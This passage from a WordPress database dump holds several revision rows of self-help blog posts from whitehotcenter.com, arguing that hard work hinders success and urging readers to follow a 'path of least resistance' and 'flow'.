lose our perspective, lose our joy, create  sickness and ultimately lose our life. No, having to work hard to get  what we want is not the answer. Grinding away at something is the root  cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start  with what you love.</strong>\r\n\r\nWhat do you love? I mean really love! What do  you like to "play at"? What are you effortlessly good at? What excites  you to such an extent that when you are engaged in it, you actually lose  your awareness of time? Think about this idea deeply. Within this idea  of "play" is the seed of joyous, easy, relaxed, natural, lazy creation.  There is no working when you are engaged in an activity you love. If you  have an idea that you love to play with, do you force yourself to play  with it? Of course not. You are naturally drawn to it. You are lovingly  engaged in it. Things are easy. There is no work involved and the  results of your creation seem almost miraculous. Live your whole life  from this point of view. It is essential to achieving your heart''s desire. Do not  trade one more second of your precious life working hard.\r\n<h2>Any  useful idea that has elevated the life experience of humans has come  about because we want to avoid having to do hard work.</h2>\r\nHard work is  counter-productive to the direction of life expanding. Hard work shuts  off the flow of creative, inspired energy. Hard work is not in alignment  with the laws of creation. Nature creates in an easy and relaxed way.  You are made of the same stuff and this natural law applies to you  wittingly or unwittingly. You will not became healthy, wealthy and wise:\r\n\r\n*  keeping your nose to the grindstone\r\n\r\n* pushing the ball uphill\r\n\r\n*  working your fingers to the bone\r\n\r\n* going to a salt mine\r\n\r\n*  spending the day with a slave driver\r\n\r\nNo, my friend there is an  easier, lazy, do nothing way to create the life you have always desired.  You must engage yourself in what you love, play and have fun. Play with  everything. If it''s  not fun, you are wasting your chances for creating massive success in  your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy  (playing) through action (doing what you love) what you create through  your thoughts (vision and goals).</strong>\r\n\r\n</div>', 'Work Less, Accomplish more!', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-17', '', '', '2010-05-09 11:58:27', '2010-05-09 18:58:27', '', 28, 'http://www.whitehotcenter.com/2010/05/09/28-revision-17/', 0, 'revision', '', 0),
(1023, 2, '2010-08-12 11:12:28', '2010-08-12 18:12:28', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics who believe the only way to get something is to work hard for it, this may be a challenging idea for you. It simply goes against the grain of conventional wisdom – people who don’t work hard achieve very little in life. </span></h2>\r\n<div id="body">\r\n<div>\r\n\r\nAt first glance, you''re probably  thinking how can one achieve more and work less? It seems  counter-intuitive, and it goes against the grain of conventional  wisdom-people who don''t work hard, achieve very little in life. All  successful people have discovered the key to success and wealth creation  has very little to do with hard work.\r\n\r\nNature operates with ease. All the complex principals associated with  life itself operate with ease. Your heart beats, your lungs breathe,  the lilies don''t toil, the seasons change– all of this is going on  effortlessly. And so it must be with the realization of your desires and  the accomplishment of your goals. There is no need to toil through  drudgery to get what you want. Actually, the very idea of toil and  drudgery is counter-productive to the whole process of value creation  and life success. Think about these ideas for moment:\r\n\r\n-  hard work has absolutely nothing to do with creating success\r\n\r\n- hard work is not the basis for success\r\n\r\n- successful results are inversely proportional to the hard work expended\r\n\r\n- avoiding hard work has driven all human progress\r\n\r\nAfter years of banging my head against the wall, I have found the  revelation that doing less, in an easy and relaxed way, is the only  satisfying and fulfilling way to create desired results.\r\n\r\n<strong>Hard work=resistance and is the opposite of flow.</strong>\r\n\r\nFirst of all, no one likes to "have to" do anything. When you say I  "have to" pay my bills, so I "have to" work hard to get the money...  already you can sense the despair and powerlessness in the very idea of  "having to" do something you naturally resist. When you "have to" do  anything, you are in a state of resistance. You are fighting the natural  flow by pointing yourself upstream, resisting.\r\n\r\nAfter a couple of decades of this resistance, (think working hard)  you can see how some people eventually burn-out, lose their perspective,  lose joy, create sickness and ultimately lose life itself. No, having  to work hard to get what we want is not the answer. Grinding away at  something is the root cause of all disappointments in life. Turn this  idea around.\r\n\r\n<strong>Discover and pursue your path of least resistance.</strong>\r\n\r\nWhat do you love? I mean really love! What do you like to "play at"?  What are you effortlessly good at? What activity excites you to an  extent that when you are engaged in it, you actually lose your awareness  of time? Think about these questions deeply.\r\n\r\nWithin this idea of "play" is the seed of joyous, easy, relaxed,  natural, lazy creation. There is no working when you are engaged in an  activity you feel you were born to do. If you have an idea that you love  to play with, do you force yourself to play with it? Of course not. You  are naturally drawn to it. You are lovingly engaged in it. Things are  easy. There is no work involved and the results of your creation seem  almost miraculous.\r\n\r\nYour whole life must reflect what you are naturally drawn to do. It  is essential to achieving your heart''s desire. Do not trade one more  second of your precious life energy working hard at achieving your  goals. Discover your greatest gifts that have been with you since the  day you were born and use them to create value (and wealth) in an easy  and relaxed way!  Everything you need to create your success is already  within you–even the permission to follow your path of least resistance.\r\n\r\n<strong>Any useful idea that has elevated the life experience of  humans has come about because humans want to avoid having to do hard  work.</strong>\r\n\r\nAll our innovations throughout history have been created to make life  easier and better. Hard work is counter-productive to the direction of  growth and life expanding. Hard work shuts off the flow of creative,  inspired energy. Hard work is not in alignment with the laws of  creation. Nature creates in an easy and relaxed way. You are made of the  same stuff and this natural law applies to you wittingly or  unwittingly. You will never became healthy, wealthy and wise:\r\n\r\n- keeping your nose to the grindstone\r\n\r\n- pushing the ball uphill\r\n\r\n- working your fingers to the bone\r\n\r\n- going to a salt mine\r\n\r\n- spending the day with a slave driver\r\n\r\nThere is an easier, lazy, do nothing way to create the life you have  always desired. You must engage yourself in what you love, play and have  fun. Play with everything. If it''s not fun, and feels like hard work,  you are decreasing your potential for creating massive success in your  life. Align your focus and attention to only that which you love. Then  find partners who love doing the activities you resist doing. When you  put it all together, you will take a quantum leap in your power to  create what you desire.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (your life vision).</strong>\r\n\r\n</div>\r\n</div>', 'Work Less, Accomplish more!', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-18', '', '', '2010-08-12 11:12:28', '2010-08-12 18:12:28', '', 28, 'http://www.whitehotcenter.com/2010/08/12/28-revision-18/', 0, 'revision', '', 0),
(1024, 2, '2010-08-12 11:13:12', '2010-08-12 18:13:12', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics who believe the only way to get something is to work hard for it, this may be a challenging idea for you. It simply goes against the grain of conventional wisdom – people who don’t work hard achieve very little\r\nin life. </span></h2>\r\n<div id="body">\r\n<div>\r\n\r\nAt first glance, you''re probably  thinking how can one achieve more and work less? It seems  counter-intuitive, and it goes against the grain of conventional  wisdom-people who don''t work hard, achieve very little in life. All  successful people have discovered the key to success and wealth creation  has very little to do with hard work.\r\n\r\nNature operates with ease. All the complex principals associated with  life itself operate with ease. Your heart beats, your lungs breathe,  the lilies don''t toil, the seasons change– all of this is going on  effortlessly. And so it must be with the realization of your desires and  the accomplishment of your goals. There is no need to toil through  drudgery to get what you want. Actually, the very idea of toil and  drudgery is counter-productive to the whole process of value creation  and life success. Think about these ideas for moment:\r\n\r\n-  hard work has absolutely nothing to do with creating success\r\n\r\n- hard work is not the basis for success\r\n\r\n- successful results are inversely proportional to the hard work expended\r\n\r\n- avoiding hard work has driven all human progress\r\n\r\nAfter years of banging my head against the wall, I have found the  revelation that doing less, in an easy and relaxed way, is the only  satisfying and fulfilling way to create desired results.\r\n\r\n<strong>Hard work=resistance and is the opposite of flow.</strong>\r\n\r\nFirst of all, no one likes to "have to" do anything. When you say I  "have to" pay my bills, so I "have to" work hard to get the money...  already you can sense the despair and powerlessness in the very idea of  "having to" do something you naturally resist. When you "have to" do  anything, you are in a state of resistance. You are fighting the natural  flow by pointing yourself upstream, resisting.\r\n\r\nAfter a couple of decades of this resistance, (think working hard)  you can see how some people eventually burn-out, lose their perspective,  lose joy, create sickness and ultimately lose life itself. No, having  to work hard to get what we want is not the answer. Grinding away at  something is the root cause of all disappointments in life. Turn this  idea around.\r\n\r\n<strong>Discover and pursue your path of least resistance.</strong>\r\n\r\nWhat do you love? I mean really love! What do you like to "play at"?  What are you effortlessly good at? What activity excites you to an  extent that when you are engaged in it, you actually lose your awareness  of time? Think about these questions deeply.\r\n\r\nWithin this idea of "play" is the seed of joyous, easy, relaxed,  natural, lazy creation. There is no working when you are engaged in an  activity you feel you were born to do. If you have an idea that you love  to play with, do you force yourself to play with it? Of course not. You  are naturally drawn to it. You are lovingly engaged in it. Things are  easy. There is no work involved and the results of your creation seem  almost miraculous.\r\n\r\nYour whole life must reflect what you are naturally drawn to do. It  is essential to achieving your heart''s desire. Do not trade one more  second of your precious life energy working hard at achieving your  goals. Discover your greatest gifts that have been with you since the  day you were born and use them to create value (and wealth) in an easy  and relaxed way!  Everything you need to create your success is already  within you–even the permission to follow your path of least resistance.\r\n\r\n<strong>Any useful idea that has elevated the life experience of  humans has come about because humans want to avoid having to do hard  work.</strong>\r\n\r\nAll our innovations throughout history have been created to make life  easier and better. Hard work is counter-productive to the direction of  growth and life expanding. Hard work shuts off the flow of creative,  inspired energy. Hard work is not in alignment with the laws of  creation. Nature creates in an easy and relaxed way. You are made of the  same stuff and this natural law applies to you wittingly or  unwittingly. You will never became healthy, wealthy and wise:\r\n\r\n- keeping your nose to the grindstone\r\n\r\n- pushing the ball uphill\r\n\r\n- working your fingers to the bone\r\n\r\n- going to a salt mine\r\n\r\n- spending the day with a slave driver\r\n\r\nThere is an easier, lazy, do nothing way to create the life you have  always desired. You must engage yourself in what you love, play and have  fun. Play with everything. If it''s not fun, and feels like hard work,  you are decreasing your potential for creating massive success in your  life. Align your focus and attention to only that which you love. Then  find partners who love doing the activities you resist doing. When you  put it all together, you will take a quantum leap in your power to  create what you desire.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (your life vision).</strong>\r\n\r\n</div>\r\n</div>', 'Work Less, Accomplish more!', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-19', '', '', '2010-08-12 11:13:12', '2010-08-12 18:13:12', '', 28, 'http://www.whitehotcenter.com/2010/08/12/28-revision-19/', 0, 'revision', '', 0),
(1025, 2, '2010-08-12 11:14:05', '2010-08-12 18:14:05', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics who believe the only way to create success is to work really hard for it, this may be a challenging idea for you. It simply goes against the grain of conventional wisdom – people who don’t work hard achieve very little in life. </span></h2>\r\n<div id="body">\r\n<div>\r\n\r\nAt first glance, you''re probably  thinking how can one achieve more and work less? It seems  counter-intuitive, and it goes against the grain of conventional  wisdom-people who don''t work hard, achieve very little in life. All  successful people have discovered the key to success and wealth creation  has very little to do with hard work.\r\n\r\nNature operates with ease. All the complex principals associated with  life itself operate with ease. Your heart beats, your lungs breathe,  the lilies don''t toil, the seasons change– all of this is going on  effortlessly. And so it must be with the realization of your desires and  the accomplishment of your goals. There is no need to toil through  drudgery to get what you want. Actually, the very idea of toil and  drudgery is counter-productive to the whole process of value creation  and life success. Think about these ideas for moment:\r\n\r\n-  hard work has absolutely nothing to do with creating success\r\n\r\n- hard work is not the basis for success\r\n\r\n- successful results are inversely proportional to the hard work expended\r\n\r\n- avoiding hard work has driven all human progress\r\n\r\nAfter years of banging my head against the wall, I have found the  revelation that doing less, in an easy and relaxed way, is the only  satisfying and fulfilling way to create desired results.\r\n\r\n<strong>Hard work=resistance and is the opposite of flow.</strong>\r\n\r\nFirst of all, no one likes to "have to" do anything. When you say I  "have to" pay my bills, so I "have to" work hard to get the money...  already you can sense the despair and powerlessness in the very idea of  "having to" do something you naturally resist. When you "have to" do  anything, you are in a state of resistance. You are fighting the natural  flow by pointing yourself upstream, resisting.\r\n\r\nAfter a couple of decades of this resistance, (think working hard)  you can see how some people eventually burn-out, lose their perspective,  lose joy, create sickness and ultimately lose life itself. No, having  to work hard to get what we want is not the answer. Grinding away at  something is the root cause of all disappointments in life. Turn this  idea around.\r\n\r\n<strong>Discover and pursue your path of least resistance.</strong>\r\n\r\nWhat do you love? I mean really love! What do you like to "play at"?  What are you effortlessly good at? What activity excites you to an  extent that when you are engaged in it, you actually lose your awareness  of time? Think about these questions deeply.\r\n\r\nWithin this idea of "play" is the seed of joyous, easy, relaxed,  natural, lazy creation. There is no working when you are engaged in an  activity you feel you were born to do. If you have an idea that you love  to play with, do you force yourself to play with it? Of course not. You  are naturally drawn to it. You are lovingly engaged in it. Things are  easy. There is no work involved and the results of your creation seem  almost miraculous.\r\n\r\nYour whole life must reflect what you are naturally drawn to do. It  is essential to achieving your heart''s desire. Do not trade one more  second of your precious life energy working hard at achieving your  goals. Discover your greatest gifts that have been with you since the  day you were born and use them to create value (and wealth) in an easy  and relaxed way!  Everything you need to create your success is already  within you–even the permission to follow your path of least resistance.\r\n\r\n<strong>Any useful idea that has elevated the life experience of  humans has come about because humans want to avoid having to do hard  work.</strong>\r\n\r\nAll our innovations throughout history have been created to make life  easier and better. Hard work is counter-productive to the direction of  growth and life expanding. Hard work shuts off the flow of creative,  inspired energy. Hard work is not in alignment with the laws of  creation. Nature creates in an easy and relaxed way. You are made of the  same stuff and this natural law applies to you wittingly or  unwittingly. You will never became healthy, wealthy and wise:\r\n\r\n- keeping your nose to the grindstone\r\n\r\n- pushing the ball uphill\r\n\r\n- working your fingers to the bone\r\n\r\n- going to a salt mine\r\n\r\n- spending the day with a slave driver\r\n\r\nThere is an easier, lazy, do nothing way to create the life you have  always desired. You must engage yourself in what you love, play and have  fun. Play with everything. If it''s not fun, and feels like hard work,  you are decreasing your potential for creating massive success in your  life. Align your focus and attention to only that which you love. Then  find partners who love doing the activities you resist doing. When you  put it all together, you will take a quantum leap in your power to  create what you desire.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (your life vision).</strong>\r\n\r\n</div>\r\n</div>', 'Work Less, Accomplish more!', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-20', '', '', '2010-08-12 11:14:05', '2010-08-12 18:14:05', '', 28, 'http://www.whitehotcenter.com/2010/08/12/28-revision-20/', 0, 'revision', '', 0),
(1026, 2, '2010-08-12 18:31:03', '2010-08-13 01:31:03', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="450" height="260" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the game you are playing is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–   defined as your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract to you others  who are playing the same game at higher levels than you, new  opportunity and possibilities to up your game will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the <a href="http://en.wikipedia.org/wiki/I_Ching" target="_blank"> I-Ching</a>, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'publish', 'open', 'open', '', 'the-path-of-least-resistance-to-create-flow-mojo', '', '', '2010-12-27 15:58:35', '2010-12-27 22:58:35', '', 0, 'http://www.whitehotcenter.com/?p=1026', 0, 'post', '', 0),
(1027, 2, '2010-08-12 17:50:04', '2010-08-13 00:50:04', '', 'flow', 0, '', 'inherit', 'open', 'open', '', 'flow', '', '', '2010-08-12 17:50:04', '2010-08-13 00:50:04', '', 1026, 'http://www.whitehotcenter.com/wp-content/uploads/2010/08/flow.gif', 0, 'attachment', 'image/gif', 0),
(1028, 2, '2010-08-12 17:51:26', '2010-08-13 00:51:26', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\n<h2>Let’s talk about “flow”.  Everyone has heard of the idea of “flow  state”–that magical state of peak performance being when you lose track  of time blissfully engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals.</h2>\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awsome life).\n\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\n\nFor many entrepreneurs, what they do is  stressful, and feels like hard work!\n\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\n\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.  By now, you’re probably asking yourself “how do I get me  some more flow”?\n\n<strong>The seven phenomena of flow</strong>\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\n\n<strong>The flow of critical moments</strong>\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\n\n<strong>The flow of learning cycles</strong>\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\n\n<strong>The flow of failing forward</strong>\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\n\n<strong>The flow of your opportunities</strong>\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\n\n<strong>The flow of your commitments</strong>\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates you faith and escalates your  attraction of resources necessary to make it physical reality.\n\n<strong> </strong>\n\n<strong>The flow of your perseverance</strong>\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\n\n<strong>The flow of your momentum</strong>\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\n<h2>“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</h2>\n– Oliver Wendall Holmes\n\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\n\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\n\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\n</strong>\n\nPlease share your comments.', 'The path of least resistance', 0, '', 'inherit', 'open', 'open', '', '1026-revision', '', '', '2010-08-12 17:51:26', '2010-08-13 00:51:26', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision/', 0, 'revision', '', 0);
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(1029, 2, '2010-08-12 17:52:03', '2010-08-13 00:52:03', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about “flow”.  Everyone has heard of the idea of “flow  state”–that magical state of peak performance being when you lose track  of time blissfully engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awsome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.  By now, you’re probably asking yourself “how do I get me  some more flow”?\r\n\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of your opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates you faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2>“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</h2>\r\n– Oliver Wendall Holmes\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance', 0, '', 'inherit', 'open', 'open', '', '1026-revision-2', '', '', '2010-08-12 17:52:03', '2010-08-13 00:52:03', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-2/', 0, 'revision', '', 0),
(1030, 2, '2010-08-12 17:52:13', '2010-08-13 00:52:13', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about “flow”.  Everyone has heard of the idea of “flow  state”–that magical state of peak performance being when you lose track  of time blissfully engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awsome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.  By now, you’re probably asking yourself “how do I get me  some more flow”?\r\n\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience 